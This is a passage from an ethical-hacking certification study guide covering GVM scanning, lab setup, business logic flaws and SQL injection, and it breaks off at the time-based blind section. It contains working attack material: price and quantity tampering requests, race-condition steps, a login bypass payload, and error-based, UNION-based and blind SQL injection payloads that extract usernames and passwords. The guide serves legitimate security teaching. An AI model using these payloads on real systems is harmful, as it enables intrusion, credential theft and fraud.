Security header findings: These are almost always true positives — either the header is present in the response or it is not. Verify by making a request in Burp and checking the response headers yourself. Confirm in multiple response types (main page, login page, API endpoints — some may be configured inconsistently).

CVE findings based on version detection: These require careful verification. Check whether the detected version is actually within the vulnerable range. Check whether the target platform (OS, distribution) may have backported patches. Attempt actual exploitation in a controlled way — confirm the vulnerability is actually exploitable rather than just theoretically present.

Default credential findings: Always verify manually. Log in with the reported credentials and confirm you have the access level indicated.

Exposed file findings: Visit the found URL and confirm the response is actually sensitive. Nikto may flag /phpinfo.php — verify the phpinfo page actually loads and reveals meaningful information.

6.1.8 Lab — Using the GVM Vulnerability Scanner

What GVM/OpenVAS Is and Why It Complements Nikto and Nuclei

GVM (Greenbone Vulnerability Management) is the complete enterprise vulnerability management platform built around the OpenVAS scanning engine. Where Nikto is a quick web server configuration checker and Nuclei tests specific templates, GVM performs comprehensive network and application scanning using over 160,000 Network Vulnerability Tests (NVTs), organized by CVE, product, and severity.

GVM is the open-source alternative to commercial platforms like Nessus Professional. It provides:

Authenticated scanning (providing credentials to get inside-out visibility)
Comprehensive vulnerability test library
Historical scan comparison
Structured report generation
REST API for integration

Setting Up GVM on Kali Linux

# Install GVM
sudo apt update && sudo apt install -y gvm

# Run first-time setup (takes 15-30 minutes - downloads all feeds)
sudo gvm-setup

# The setup will output admin credentials - SAVE THESE
# Example output: "User created with password: 'r4nd0mP@ss'"

# Start GVM services
sudo gvm-start

# Verify everything is running correctly
sudo gvm-check-setup

# Access the web interface
# Open: https://127.0.0.1:9392 in your browser
# Accept the self-signed certificate warning
# Login with the credentials from setup

Keeping GVM Updated

Your scan results are only as good as your feed data. Run feed updates before every engagement:

# Update all GVM feeds
sudo greenbone-nvt-sync          # Network Vulnerability Tests
sudo greenbone-feed-sync --type SCAP   # CVE and OVAL data
sudo greenbone-feed-sync --type CERT   # CERT-Bund advisories
sudo greenbone-feed-sync --type GVMD_DATA   # GVM management data

# After updating, restart services
sudo gvm-stop && sudo gvm-start

Creating and Running a Scan

Step 1: Create a Scan Target
In the web UI: Configuration → Targets → New Target

Name: "Module 6 Lab Target"
Hosts: IP address of your lab target (e.g., the DVWA or vulnerable VM IP)
Credentials: Add if doing authenticated scanning (SSH for Linux, SMB for Windows, HTTP credentials for web app)

Step 2: Create a Scan Task
Scans → Tasks → New Task

Name: "Initial Web Application Assessment"
Scan Targets: Select your created target
Scan Config: "Full and Fast" for comprehensive testing, or "Web Application Tests" for web-specific NVTs

Step 3: Start the Scan
Click the play button next to your task. Monitor progress in the Tasks view.

Step 4: Review Results
Once complete, click on the scan report. Navigate to Results to see individual findings organized by severity.

Understanding GVM Scan Configurations

Full and Fast: Runs all applicable NVTs with optimized timing. This is the standard configuration for most assessments. Comprehensive coverage without being as intrusive as "Very Deep."

Full and Very Deep: Runs the most thorough checks, including some potentially service-disrupting tests. Use this in isolated lab environments only — it may crash vulnerable services.

Web Application Tests: Focuses specifically on web application NVTs — useful for targeted web assessments where you have already done infrastructure scanning separately.

Discovery: Light scan that identifies services and open ports without deep vulnerability testing. Use this for initial host discovery in large networks.

System Discovery: Even lighter — just host discovery. Similar to nmap -sn.

Reading GVM Reports

GVM reports classify findings using CVSS:

Critical (CVSS 9.0-10.0): Address immediately. Remotely exploitable with no authentication required, significant impact. These are your lead findings in any report.

High (CVSS 7.0-8.9): Address urgently. Serious impact, typically exploitable remotely.

Medium (CVSS 4.0-6.9): Address within 30 days. Significant but with mitigating factors.

Low (CVSS 0.1-3.9): Address in next maintenance cycle. Real vulnerability but limited direct impact.

Log/Info: Informational — host/service details, configuration observations. Not vulnerabilities but useful intelligence.

Exporting Reports:

# Download report via GVM API (for automation)
gvm-cli socket --gmp-username admin --gmp-password [pass] \
  --xml "<get_reports report_id='UUID' format_id='c402cc3e-b531-11e1-9163-406186ea4fc5'/>" \
  | xmllint --format - > report.xml

GVM supports multiple report formats: PDF, HTML, XML, CSV. Use XML for programmatic processing and integration with other tools. Use PDF or HTML for client deliverables.

Combining Scan Results — The Complete Picture

No single scanner catches everything. Professional web application assessments use multiple tools in combination:

Layer 1 — GVM: Comprehensive network and infrastructure vulnerability scanning. Identifies CVE-based vulnerabilities, unpatched software, insecure service configurations.

Layer 2 — Nikto: Quick web server configuration check. Catches missing security headers, dangerous HTTP methods, exposed admin interfaces, default files.

Layer 3 — Nuclei: Fast, template-based checks for specific CVEs, exposures, and misconfigurations. Best coverage for recently disclosed vulnerabilities.

Layer 4 — Burp Suite (manual): Everything the above tools cannot see — business logic, IDOR, authentication bypasses, application-specific vulnerabilities, multi-step attack chains.

The automated layers give you breadth. The manual layer gives you depth. Together, they approach something close to comprehensive coverage.

— Section 6.1 is complete. Sections 6.2 through 6.13 continue in subsequent documents as instructed. —

Module 6 — Sections 6.2, 6.3, and 6.4

CompTIA PenTest+ / Ethical Hacking Certification Series
Professional Reference Guide — GitHub Edition
Building your own lab · Business Logic · SQL Injection · Command Injection · LDAP Injection

6.2 How to Build Your Own Web Application Lab
6.3 Understanding Business Logic Flaws
6.4 Understanding Injection-Based Vulnerabilities
- 6.4.1 Overview — What Injection Really Means
- 6.4.2 SQL Injection Vulnerabilities — The Complete Deep Dive
- 6.4.3 Practice — SQL Injection Attacks Step by Step
- 6.4.4 Command Injection Vulnerabilities
- 6.4.5 Practice — Command Injection Step by Step
- 6.4.6 LDAP Injection Vulnerabilities
- 6.4.7 Lab — Injection Attacks

6.2 How to Build Your Own Web Application Lab

Why a Personal Lab Is Not Optional

Reading about SQL injection is one thing. Watching a tutorial is another. Actually opening a terminal, sending a payload, watching the database respond, adjusting the payload, and extracting data — that is where understanding becomes skill. You cannot develop the intuition needed for real web application testing without repetition in a safe environment.

A personal lab lets you test every technique in this module legally, without risk to real systems, without fear of crossing legal lines, and with the freedom to break things and learn from the failure. The lab is not a luxury — it is the minimum viable environment for serious security learning.

The good news is that a web application security lab is surprisingly inexpensive and fast to set up. The most powerful approach combines a Linux security distribution with intentionally vulnerable applications. Here is everything you need to know to build a lab that will take you from beginner exercises to advanced exploitation practice.

The Foundation: Choosing Your Operating System

Kali Linux is the industry standard for penetration testing. Maintained by Offensive Security (the organization that created OSCP), Kali is a Debian-based distribution that ships with over 600 pre-installed security tools — Burp Suite, nmap, sqlmap, Metasploit, hydra, aircrack-ng, and hundreds more. You do not need to install or configure these tools individually. They are all available from the command line or the applications menu.

Options for running Kali:

Virtual Machine (recommended for beginners): Download the Kali VM image (VMware or VirtualBox format) from kali.org/get-kali. Import it into VMware Workstation Player (free) or VirtualBox (free). Your host OS (Windows or macOS) remains completely unaffected by anything you do in the VM.
Bare metal install: Installing Kali directly on a dedicated machine gives maximum performance. Good for a dedicated lab machine but not ideal as a primary workstation.
WSL2 (Windows Subsystem for Linux): Kali is available in the Microsoft Store. Good for command-line tool access but some tools requiring raw network access have limitations.
Kali Live USB: Boot from a USB drive with no installation. Leaves no persistent data. Good for temporary use.

Parrot OS is a lighter alternative to Kali. It has the same tool set but uses fewer system resources, making it better suited for older hardware or machines with limited RAM.

BlackArch Linux is for advanced users — Arch Linux-based with over 2,800 tools available. Steeper learning curve but the most comprehensive tool collection.

For this module, Kali Linux in a VM is the recommended setup. It is what the labs in the certification curriculum assume, and it is what you will encounter in most learning resources.

Intentionally Vulnerable Applications — Your Practice Targets

An intentionally vulnerable application is one built to contain specific security flaws for educational purposes. These are legal to attack because that is exactly what they are designed for. You deploy them in your local lab and attack them without any legal or ethical concern.

DVWA — Damn Vulnerable Web Application

DVWA is the foundational practice target for web application security. Built with PHP and MySQL, it contains a deliberately vulnerable web application with the following vulnerability categories, each configurable to low, medium, or high security level:

Brute Force
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)
JavaScript attacks

The security levels (low/medium/high) make DVWA excellent for progressive learning — start at low with no defenses, understand the attack, then move to medium and high to learn how defenses are implemented and how to bypass them. This reinforces both offensive and defensive understanding simultaneously.

Installation on Kali:

# Install DVWA using the official installation script
sudo apt update
sudo apt install -y dvwa

# Start the required services
sudo systemctl start apache2
sudo systemctl start mysql

# Access DVWA in your browser
# http://127.0.0.1/dvwa/

# Default credentials: admin / password
# First visit: http://127.0.0.1/dvwa/setup.php
# Click "Create / Reset Database"

WebSploit Labs

WebSploit Labs is a more modern, comprehensive collection of vulnerable environments maintained by Omar Santos (author of numerous Cisco Press security books and CCNA CyberOps materials). The platform includes hundreds of vulnerable systems and is regularly updated to reflect current vulnerability classes.

Access at: https://websploit.org

WebSploit Labs runs as Docker containers, making setup straightforward on any system with Docker installed. Many of the lab exercises in the certification curriculum can be completed using WebSploit Labs targets.

Metasploitable 2 and 3

Metasploitable is a virtual machine intentionally built with dozens of vulnerabilities at both the network and application layer. Metasploitable 2 is the more widely used version — a Linux VM with a vulnerable web application (Mutillidae), vulnerable network services (FTP, SSH, Telnet, SMB, MySQL, PostgreSQL, VNC, IRC), and deliberately misconfigured services.

Download from Rapid7 or SourceForge. Import into VMware or VirtualBox and configure on a host-only network adapter (never expose Metasploitable to the internet — it will be compromised within minutes).

HackTheBox (HTB)

HackTheBox is a cloud-based platform with intentionally vulnerable machines and web challenges. It requires no local infrastructure — you connect via VPN to HTB's lab network. The machines range from easy to insane difficulty and reflect real-world attack scenarios much more closely than DVWA. HTB is where you go after building foundational skills on DVWA — it is the bridge between learning and professional-level practice.

Free tier at: https://www.hackthebox.com

TryHackMe

TryHackMe is even more beginner-friendly than HTB. It offers guided learning paths with browser-based attack machines that require no VPN setup. The web application security rooms on TryHackMe cover SQL injection, XSS, command injection, file inclusion, and more with step-by-step guidance.

At: https://tryhackme.com

PortSwigger Web Security Academy

This deserves special mention. Created by the team behind Burp Suite, the Web Security Academy at https://portswigger.net/web-security provides free interactive labs for every OWASP vulnerability category. These labs run entirely in the browser. The quality is exceptional — they are the closest thing to professional web application security training available for free. If you only use one external resource alongside your local DVWA lab, make it the Web Security Academy.

Docker-Based Lab Setup — The Modern Approach

Docker containers make lab setup and teardown instant. Instead of managing multiple VMs, you run vulnerable applications as isolated containers that start in seconds and can be destroyed without any cleanup.

# Install Docker on Kali
sudo apt install -y docker.io
sudo systemctl start docker
sudo systemctl enable docker
sudo usermod -aG docker $USER  # Add yourself to docker group
# Log out and back in for group change to take effect

# Run DVWA as a Docker container
docker run -d -p 80:80 vulnerables/web-dvwa
# Access at: http://127.0.0.1/

# Run Mutillidae (comprehensive vulnerable web app)
docker run -d -p 80:80 webpwnized/mutillidae:2.9.0-LAMP

# Run OWASP Juice Shop (modern Node.js vulnerable app, great for learning)
docker run -d -p 3000:3000 bkimminich/juice-shop
# Access at: http://127.0.0.1:3000

# Run WebGoat (OWASP's Java-based vulnerable app)
docker run -d -p 8080:8080 webgoat/goat-and-wolf

# Run a deliberately vulnerable API (for API testing practice)
docker run -d -p 5000:5000 erev0s/vampi

# Stop and remove a container when done
docker ps           # List running containers
docker stop <container_id>
docker rm <container_id>

The Recommended Lab Architecture

Your complete lab should look like this:

Host Machine (your physical computer):
Running VMware Workstation Player or VirtualBox. This hosts your VMs.

VM 1 — Kali Linux (attack machine):
Your primary working environment. All security tools pre-installed. This is where you run Burp Suite, sqlmap, nmap, and everything else.

VM 2 — Vulnerable Target (or Docker containers):
Run DVWA, Metasploitable, or Docker containers here. This is what you attack.

Network Configuration:
Both VMs should be on a Host-Only network adapter. This means:

The VMs can communicate with each other
The VMs can communicate with the host
Neither VM can reach the internet (protecting you from accidentally attacking external systems and protecting Metasploitable from being attacked externally)

VMware/VirtualBox Network Settings:
- Kali VM: Host-Only Adapter (e.g., 192.168.56.101)
- Target VM: Host-Only Adapter (e.g., 192.168.56.102)
- Both VMs can ping each other
- Neither can access the internet through this adapter

Burp Suite — Your Primary Web Testing Tool

Burp Suite Community Edition is pre-installed on Kali. Configure it as an intercepting proxy between your browser and your vulnerable application target, and every HTTP request passes through Burp where you can read, modify, and replay it.

Quick setup:

Launch Burp Suite from Kali's applications menu or burpsuite in terminal
In Burp: Proxy → Options → confirm listener is 127.0.0.1:8080
In Firefox on Kali: Settings → Network Settings → Manual Proxy → HTTP Proxy: 127.0.0.1, Port: 8080
Navigate to your vulnerable application — all traffic now flows through Burp

Install the FoxyProxy Firefox extension for easy proxy switching between testing and normal browsing.

6.3 Understanding Business Logic Flaws

The Vulnerability That Scanners Cannot See

Here is a question to test your understanding: What do all of the following scenarios have in common?

A user on an e-commerce site adds $200 worth of items to their cart, applies a "get 20% off orders over $150" discount code, removes $100 worth of items, and checks out — paying $100 minus the 20% discount, despite their cart being worth far less than $150.

A user on a banking application initiates a funds transfer, but instead of following step 1 → 2 → 3 → confirm, they navigate directly from step 1 to step 3's URL. No verification step. Transfer proceeds.

A user registers for a free 30-day trial, creates an account, cancels, creates a new account with a different email, gets another 30-day trial, and repeats indefinitely.

What these share: none of them involve a coding error in the traditional sense. No SQL query was improperly parameterized. No XSS payload was needed. No buffer was overflowed. The code works exactly as it was written. The flaw is in the design — specifically, the business rules that the developer assumed users would follow but that a creative attacker can circumvent.

These are business logic flaws. And they are the most dangerous category of web vulnerability to miss, because automated scanners cannot find them. A scanner can identify that a parameter is not properly sanitized. It cannot know that removing an item from a cart after applying a discount should re-validate the discount threshold, because that requires understanding the business rule being enforced.

What Business Logic Flaws Are — The Precise Definition

MITRE's Common Weakness Enumeration classifies business logic errors under CWE-840 with subordinate categories including:

CWE-841 — Improper Enforcement of Behavioral Workflow
CWE-438 — Behavioral Change in New Version or Environment
CWE-639 — Authorization Bypass Through User-Controlled Key

OWASP defines a business logic vulnerability as: a flaw in the design or implementation of an application that allows an attacker to elicit unintended behavior from a legitimate feature. The attacker is not using a technical exploit — they are using the application as intended, just in a way the designer did not anticipate.

The key characteristics that distinguish business logic flaws from technical vulnerabilities:

They require understanding the application's purpose and rules, not just its technical implementation. A SQL injection payload is the same regardless of what the application does. A business logic attack is entirely specific to that application's specific workflow and rules.

They often involve correct behavior at each individual step but incorrect behavior across the sequence. Each step validates correctly. The flaw is in the assumption that steps happen in the expected order or with expected preconditions.

They almost always require manual testing by a tester who understands the application's purpose. Automated tools that operate on requests and responses in isolation cannot model multi-step workflows.

The Business Logic Testing Mindset

Before looking at specific attack patterns, you need to internalize the mindset that finds business logic flaws. When you approach any application feature, ask these questions:

What is this feature supposed to do, and what assumptions does the developer make about how users interact with it?

What happens if I use this feature in an order the developer did not intend — skipping steps, repeating steps, doing step 5 before step 2?

What happens if I provide values at the extreme boundaries of what is logically expected — negative numbers, zero, absurdly large numbers, empty values?

What happens if I complete step 1 as User A and step 2 as User B?

What happens if I do two things simultaneously that are supposed to happen sequentially?

What client-side restrictions are there, and what happens when I remove them?

The PortSwigger Web Security Academy's description is excellent: "Business logic vulnerabilities often arise because the design and development teams make flawed assumptions about how users will interact with the application."

Category 1 — Workflow Bypasses

Workflow vulnerabilities occur when an application enforces a required sequence of steps in the user interface but does not enforce that same sequence server-side. The UI hides the "next" button until you complete the current step. But the next step's URL is accessible directly, and the server does not check whether the prerequisite step was completed.

Classic example — Bypassing email verification:

A registration flow requires:

Register with email and password → account created but inactive
Receive verification email → click link
Account activated → can now log in

If the developer only blocks login based on a verified flag in the database, but the verification endpoint at /verify-email?token=XYZ can be guessed or brute-forced, or if step 2 can be replaced by directly navigating to the post-verification dashboard, the entire verification step is meaningless.

Testing approach:

During any multi-step flow — registration, checkout, password reset, document signing, approval workflows — map every URL and endpoint involved in each step. After completing step 1, attempt to navigate directly to step 3's URL without completing step 2. Observe:

Does the server redirect you back to step 2 (correct behavior — server-side state enforcement)?

Does the server serve step 3's content directly (vulnerable — no server-side sequence enforcement)?

In Burp Suite's Proxy HTTP history, you can see all requests made during a legitimate walkthrough of the flow. Note which endpoints correspond to which steps. Then in Repeater, replay step 3's request without first completing step 2.

Real-world case — 2FA bypass:

A login flow with two-factor authentication:

Submit username and password → server validates credentials → redirects to MFA page
Submit MFA code → server validates → grants session

If after step 1 the server sets a session that indicates "credentials validated, awaiting MFA" but the user can navigate directly to the post-login dashboard URL and the server grants access based only on the first-factor session — the MFA step is bypassed entirely. This has been found in production applications and is documented in the PortSwigger Web Security Academy's business logic labs.

Category 2 — Price Manipulation and E-Commerce Logic Flaws

The financial consequences of e-commerce business logic flaws are often immediate and quantifiable. These vulnerabilities are particularly common because financial systems are complex, involve many interacting components (cart, pricing engine, discount system, inventory), and are often built by teams under deadline pressure.

Discount threshold manipulation:

The classic example: "10% off orders over $100." Implementation:

Add items until cart total exceeds $100
Apply discount code — system validates cart > $100, applies 10% discount
Remove items from cart, reducing total to $30
Checkout — if the system does not re-validate the discount condition at checkout, you receive 10% off a $30 cart

The correct implementation re-validates all discount conditions at the final checkout step, not just at the point of application. The vulnerable implementation only validates at application time and trusts the stored discount state thereafter.

Testing approach:

In Burp, intercept the request at each step of the checkout flow. Specifically after applying a discount, modify the cart contents and monitor whether the discount is recalculated or retained. Send the final checkout request with values that contradict the applied discount conditions and observe whether the server re-validates.

Negative quantity:

An application that accepts quantity as a user-submitted value without proper server-side validation may accept negative quantities. A shopping cart with -1 units of a $100 item might calculate a total of -$100, which when combined with actual positive purchases could reduce the total to near-zero or even result in a credit.

# Normal request
POST /cart/update
item_id=789&quantity=1

# Manipulated request (intercept in Burp and modify)
POST /cart/update
item_id=789&quantity=-1

The fix is always the same: validate quantity as a positive integer server-side. Never trust client-submitted numeric values without range validation.

Client-side price manipulation:

Some applications send item prices from the client during add-to-cart operations rather than looking them up server-side. The client submits the price to pay, and the server trusts it.

# Normal add-to-cart request
POST /cart/add
item_id=456&price=99.99&quantity=1

# Manipulated request (Burp Intercept → modify price field)
POST /cart/add
item_id=456&price=0.01&quantity=1

If the server uses the client-submitted price rather than looking up the price from its own database, this results in purchasing at the attacker-specified price. This type of flaw is shockingly common in poorly implemented e-commerce applications.

The golden rule this violates: Never trust any value from the client for financial calculations. Always look up prices server-side from a trusted data source at the time of purchase calculation.

Category 3 — Race Conditions

Race conditions are among the most technically interesting business logic vulnerabilities. They exploit the timing gap between when the application reads a state, makes a decision based on that state, and writes back the updated state.

The vulnerability arises when:

Application reads state ("Is this coupon code still valid? Has it been used?")
Application determines it is valid and proceeds
Application uses the coupon and marks it as used

Between steps 2 and 3, if another identical request arrives simultaneously, that second request also reads the state before step 3 has updated it. Both requests see the coupon as unused. Both requests proceed. One coupon is redeemed twice.

The PortSwigger example (documented in their Web Security Academy):
A gift card system allows single-use redemption. An attacker writes a script that sends 50 simultaneous redemption requests for the same gift card code. For each request, before any of them complete and update the "redeemed" flag, the check returns "not yet redeemed." All 50 requests proceed. The balance is applied 50 times.

Burp Suite has built-in support for testing race conditions through its "Send group in parallel" feature in Repeater. This sends multiple requests simultaneously, maximizing the overlap in timing.

In Burp Suite Repeater:
1. Create your single redemption request
2. Right-click → "Send to Repeater" 20 times
3. Select all tabs
4. Right-click → "Send group in parallel (last-byte sync)"
5. All 20 requests fire simultaneously
6. Observe how many succeed

Documented real examples: the CVE-2024-58248 (gift card double-spending via race condition), numerous cryptocurrency exchange double-spend vulnerabilities, banking application balance manipulation.

Defenses against race conditions:
Database-level locking (SELECT FOR UPDATE, atomic operations, transactions with isolation level SERIALIZABLE), Redis-based distributed locks, or comparing-and-swapping state values atomically. Idempotency keys for financial operations ensure the same operation cannot be processed twice regardless of timing.

Category 4 — Unverified Ownership

Applications sometimes allow operations on objects based on a user-supplied identifier without verifying that the authenticated user is the owner of that object. This overlaps with IDOR (covered in OWASP A01) but specifically in business workflow contexts.

Example: A multi-step order modification flow. In step 1, the user selects their order number. In step 2, they make modifications. In step 3, they confirm. The application tracks the selected order in the session. But what if in step 2, the attacker changes the order number in the request to another user's order number? Does the server verify ownership at each step?

Category 5 — Account and Resource Limit Bypasses

Trial period abuse:
Applications offering free trials that create new accounts can be abused if the only enforcement is at the account level and creating new accounts (with different emails) is unrestricted. The fix requires binding trials to payment methods, device fingerprints, or IP ranges with proper rate limiting.

Quantity limit bypass:
"Limit 3 per customer" promotions enforced by checking the existing order count before placing a new order. Race condition allows bypassing the check by sending multiple simultaneous order requests. Each request checks the count (still 0, 1, 2) before any updates. Multiple orders at the promotional price succeed.

Password recovery abuse:
Weak recovery mechanisms (4-digit numeric SMS codes, security questions with predictable answers, recovery flows that do not rate-limit attempts) enable account takeover through brute force or prediction. OWASP specifically lists "Weak password recovery mechanism for forgotten password" under CWE-640 as a business logic flaw.

How to Test for Business Logic Flaws — The Professional Methodology

Since automated tools cannot find business logic flaws, the methodology is entirely manual and requires deep application understanding.

Step 1: Map the application thoroughly
Use Burp Suite's spider, browse every page, and understand what the application does from a business perspective. What can users buy, transfer, subscribe to, approve, reject, upload, share? What are the business rules?

Step 2: Identify critical workflows
Focus on flows involving money, access control, authentication state changes, quota enforcement, or competitive advantage. These are where business logic errors have the highest impact.

Step 3: For each workflow, attempt:

Step skipping: Navigate directly to later steps without completing earlier ones
Step repetition: Complete the same step multiple times and observe state
Step reversal: Complete the flow, then go back and modify earlier steps
Simultaneous requests: Send critical steps simultaneously via Burp's parallel send feature
Parameter manipulation: Modify quantities to negative, zero, or extreme values; modify prices, IDs, status fields
Cross-user testing: Complete step 1 as User A, step 2 as User B; observe whether User A's data is accessible to User B

Step 4: Ask "what would a fraudster do?"
Approach with the mindset of someone trying to get something for free, circumvent authorization, or manipulate the system. This mindset is more productive for business logic testing than the technical exploitation mindset used for SQL injection.

Step 5: Document everything
Business logic findings require more extensive documentation than technical vulnerabilities because you must explain the business impact, which is often complex. Show the exact sequence of steps, the request at each step, and the resulting anomalous outcome.

6.4 Understanding Injection-Based Vulnerabilities

6.4.1 Overview — What Injection Really Means

Every injection vulnerability, regardless of what is being injected into, shares the same fundamental cause: the application fails to distinguish between the instructions (code) and the data being processed by those instructions. User-supplied data enters a context where it is interpreted as code by some interpreter — a database engine, an operating system shell, an LDAP server, a template processor, an XML parser.

Think about what "injection" means in the everyday physical world. A doctor injects medicine into a patient because intravenous injection gets material directly into the bloodstream — bypassing the normal barriers. SQL injection is the same principle: an attacker injects their commands directly into the database query, bypassing the application layer that was supposed to mediate all database interactions.

The root cause is always the same: the application builds executable commands by concatenating strings that include user-controlled values. The fix is always the same: separate the code from the data using parameterized queries, prepared statements, or context-appropriate encoding. Never concatenate user input into executable commands.

Different interpreters that can be injected into:

Interpreter	Injection Type	What Gets Executed
SQL database	SQL Injection	SQL queries
Operating system	Command Injection	Shell commands
LDAP server	LDAP Injection	LDAP filter queries
XML parser	XXE Injection	XML external entity declarations
Browser DOM	XSS	JavaScript
Template engine	SSTI	Template expressions
XPath	XPath Injection	XPath queries
NoSQL database	NoSQL Injection	MongoDB/Cassandra operators
Email headers	Header Injection	Email routing instructions

Each injection type differs in syntax, context, and exploitation technique, but the underlying logic is identical. Learn the pattern, not just the specific payloads.

6.4.2 SQL Injection Vulnerabilities — The Complete Deep Dive

Understanding SQL First — The Language of the Target

To exploit SQL injection you must understand the SQL that is being manipulated. SQL (Structured Query Language) is the language used to interact with relational databases — MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite. Every web application that stores data in a relational database uses SQL to read and write that data.

The four fundamental SQL operations:

-- SELECT: Read data from a table
SELECT username, email FROM users WHERE id = 42;

-- INSERT: Add new rows to a table
INSERT INTO orders (user_id, total, status) VALUES (42, 99.99, 'pending');

-- UPDATE: Modify existing rows
UPDATE users SET password = 'newHash' WHERE id = 42;

-- DELETE: Remove rows
DELETE FROM sessions WHERE expires_at < NOW();

When a web application needs to look up a user after login, the code might build a query like this:

// PHP example (vulnerable code)
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($connection, $query);

If legitimate values are submitted — username: alice, password: MyPassword123 — the resulting query is:

SELECT * FROM users WHERE username = 'alice' AND password = 'MyPassword123'

This works as intended. But what does SQL do with special characters? What happens when the input is not a simple string?

Why the Single Quote Is the Most Important Character in SQL Injection

In SQL, single quotes (') delimit string values. When the database parser encounters a single quote inside a query, it interprets the quote as the end of the string value. Everything after that point is interpreted as SQL syntax, not as a string.

If the attacker enters admin'-- as the username:

SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'

The ' after admin closes the string. The -- is SQL's comment syntax — everything after it is a comment, effectively deleting the rest of the query. The query that actually executes is:

SELECT * FROM users WHERE username = 'admin'

No password check. If a user named admin exists, the query returns their record and the application logs in the attacker as admin. This is authentication bypass through SQL injection, and it requires no knowledge of the password.

The SQL Injection Classification System

SQL injection is categorized by two dimensions: what happens to the data extracted, and whether the results are visible in the response.

In-Band SQL Injection:
The attack and data extraction happen through the same channel (the HTTP request/response). Results are visible directly in the response body.

Inferential (Blind) SQL Injection:
The results are not visible in the response, but the attacker infers information by observing how the application behaves differently for true versus false conditions.

Out-of-Band SQL Injection:
Data is extracted through a completely different channel — typically DNS queries or HTTP requests made by the database server to an attacker-controlled endpoint.

Error-Based SQL Injection — Reading Data from Error Messages

Error-based injection extracts database information directly from error messages. When the database encounters a malformed query, it often reports what went wrong in an error message — and these error messages frequently contain database version information, table names, or even query results.

-- Payload causing a MySQL error that reveals database version:
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))--

-- Error message returned:
-- XPATH syntax error: '~5.7.43-0ubuntu0.18.04.1'
--                      ^^^ Database version revealed in the error

-- Payload revealing current database name:
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database())))--

-- Error: XPATH syntax error: '~webshop_prod'

Error-based injection is the fastest way to extract data when error messages are visible, because each payload returns data directly in the error string. The limitation: modern production applications suppress error messages, making error-based injection impossible against well-configured servers.

Database-specific error-based payloads:

MySQL uses EXTRACTVALUE() or UPDATEXML(). Microsoft SQL Server uses CONVERT() with incompatible type conversions. Oracle uses column type mismatch in UNION operations. PostgreSQL uses CAST() with invalid conversions. Each database engine exposes data differently through its error messages.

UNION-Based SQL Injection — The Data Extraction Workhorse

UNION-based injection is the most powerful form of in-band SQL injection when results are visible in the response. It works by appending an additional SELECT statement to the original query using the SQL UNION operator, merging attacker-controlled query results with the application's legitimate results.

The requirement: A UNION query only works when the injected SELECT has the same number of columns as the original SELECT, and compatible data types. Your first task is always to determine the column count of the original query.

Step 1: Determine the column count using ORDER BY

-- The original (vulnerable) query:
SELECT product_name, price, description FROM products WHERE category = 'phones'

-- Your injected value in the category parameter:
phones' ORDER BY 1--     -- succeeds: at least 1 column
phones' ORDER BY 2--     -- succeeds: at least 2 columns
phones' ORDER BY 3--     -- succeeds: at least 3 columns
phones' ORDER BY 4--     -- ERROR: "Unknown column '4' in order clause"
-- Conclusion: the query has exactly 3 columns

Step 2: Find which columns are displayed in the response

Not every column in a SELECT is necessarily displayed on the page. Your injected data must go into a column that is rendered in the response.

-- Test which columns display string data (use NULL for compatible typing):
phones' UNION SELECT 'test1', NULL, NULL--
phones' UNION SELECT NULL, 'test2', NULL--
phones' UNION SELECT NULL, NULL, 'test3'--

-- When 'test2' appears on the page, you know column 2 is displayed

Step 3: Extract data

With column count known and a display column identified, extract any data:

-- Extract database version:
phones' UNION SELECT NULL, version(), NULL--

-- Extract all tables in the current database:
phones' UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_schema=database()--

-- Extract column names from the users table:
phones' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users'--

-- Extract usernames and passwords:
phones' UNION SELECT NULL, CONCAT(username, ':', password), NULL FROM users--

-- If only one column is visible, concatenate multiple values:
phones' UNION SELECT NULL, CONCAT(username, 0x7c, password, 0x7c, email), NULL FROM users--
-- 0x7c is hex for | — used as separator

The information_schema is a meta-database that every MySQL/MariaDB installation contains. It stores information about all other databases, tables, and columns. Querying information_schema is how attackers map the entire database structure without knowing anything about it in advance.

Complete data extraction sequence:

-- 1. Find all databases:
' UNION SELECT NULL, schema_name, NULL FROM information_schema.schemata--

-- 2. Find all tables in target database 'webshop':
' UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_schema='webshop'--

-- 3. Find all columns in 'users' table:
' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users' AND table_schema='webshop'--

-- 4. Extract the data:
' UNION SELECT NULL, CONCAT(id,'|',username,'|',password,'|',email), NULL FROM users LIMIT 10--

Boolean-Based Blind SQL Injection — Inferring Data One Bit at a Time

Blind SQL injection is used when the application is vulnerable to injection but does not return query results or error messages. Instead, the application's behavior changes based on whether an injected condition is true or false — perhaps the page loads normally for true conditions and shows an error page or empty results for false conditions.

You cannot extract data directly. But you can ask yes/no questions and infer data from the answers.

The concept:

-- Original vulnerable query:
SELECT * FROM products WHERE id = [USER_INPUT]

-- Test: is the first character of the current database name 'a'?
1 AND SUBSTRING(database(), 1, 1) = 'a'

-- If the page loads normally: the database name starts with 'a' (true)
-- If the page shows an error or empty: false, try 'b', 'c', etc.

This is extraordinarily slow manually — determining even a single character requires up to 26 attempts (or 128 for all ASCII characters). Tools like sqlmap automate this completely, but understanding the manual process is essential for certification exams and for debugging when automated tools behave unexpectedly.

Systematic character extraction:

-- Check database name length:
1 AND LENGTH(database()) = 6       -- is the database name 6 characters? True/False

-- Check first character:
1 AND ORD(SUBSTRING(database(), 1, 1)) > 77    -- is ASCII value > 77? (binary search faster than linear)
1 AND ORD(SUBSTRING(database(), 1, 1)) > 100   -- narrow down range
1 AND ORD(SUBSTRING(database(), 1, 1)) = 119   -- ASCII 119 = 'w'

-- Check second character:
1 AND ORD(SUBSTRING(database(), 2, 1)) = 101   -- ASCII 101 = 'e'

-- Character by character: 'w' + 'e' + ... = 'webshop'

Binary search reduces the number of requests from 128 per character to about 7. For a 10-character database name: 70 requests instead of 1280.

Time-Based Blind SQL Injection — When Nothing Is Visible at All

